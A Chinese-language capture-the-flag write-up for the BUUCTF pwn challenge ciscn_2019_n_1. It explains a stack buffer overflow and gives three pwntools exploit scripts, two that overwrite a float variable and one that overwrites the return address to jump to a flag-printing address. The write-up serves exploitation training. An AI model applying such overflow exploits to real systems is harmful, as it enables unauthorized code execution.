buuctf-pwn-ciscn_2019_n_1
首先检查一下保护情况
没有canary,没有PIE
拖进ida分析
大致就是一个猜数字的程序,有两种解法:
第一种是根据程序逻辑,修改v2的值,满足if条件
第二种是ROP,覆盖fun函数的返回地址,强行跳转至if语句块中
0x01-修改v2的值
双击v2变量,打开主函数的调用堆栈
我们可以看到,v1数组占44个字节,v2浮点数占4个字节,44+4=48=0x30
也就是说我们可以先输入44个填充数据,再输入11.28125在内存中的表示,就可以修改v2的值了
关于浮点数在计算机中的存储可查找 IEEE754 浮点数标准,计算机组成原理课应该也会讲这个标准
11.28125在内存中的表示可以在ida中找到,也可以自行计算,也可以用python的struct模块计算
利用ida获取11.28125的内存表示
exp:
from pwn import *
p = remote('node5.buuoj.cn',26018)
payload = b'a'*44+p64(0x41348000)
p.sendline(payload)
p.interactive()
利用python struct 模块
exp:
from pwn import *
import struct
p = remote("node5.buuoj.cn",28058)
#p = process("./ciscn_2019_n_1")
payload = b'a'*44+struct.pack("<fx",11.28125)# <表示小端,f表示float,x表示填充
p.sendline(payload)
p.interactive()
0x02-ROP
程序没有开启PIE,可以直接覆盖返回地址,下面介绍一个快速计算溢出长度的方法
首先用cyclic生成一个长序列(至少要能覆盖到返回地址)
启用gdb调试,输入刚刚生成的序列,获取返回地址被修改为的值
使用cyclic计算长度
这样我们就得知了需要输入多长的填充数据才可以覆盖到返回地址,这里计算出56,那么在填充56字节数据后就是返回地址了
exp:
from pwn import *
p = remote("node5.buuoj.cn",26493)
#p = process("./ciscn_2019_n_1")
catflag_addr = 0x4006be
payload = b'a'*56+p64(catflag_addr)
p.sendline(payload)
p.interactive()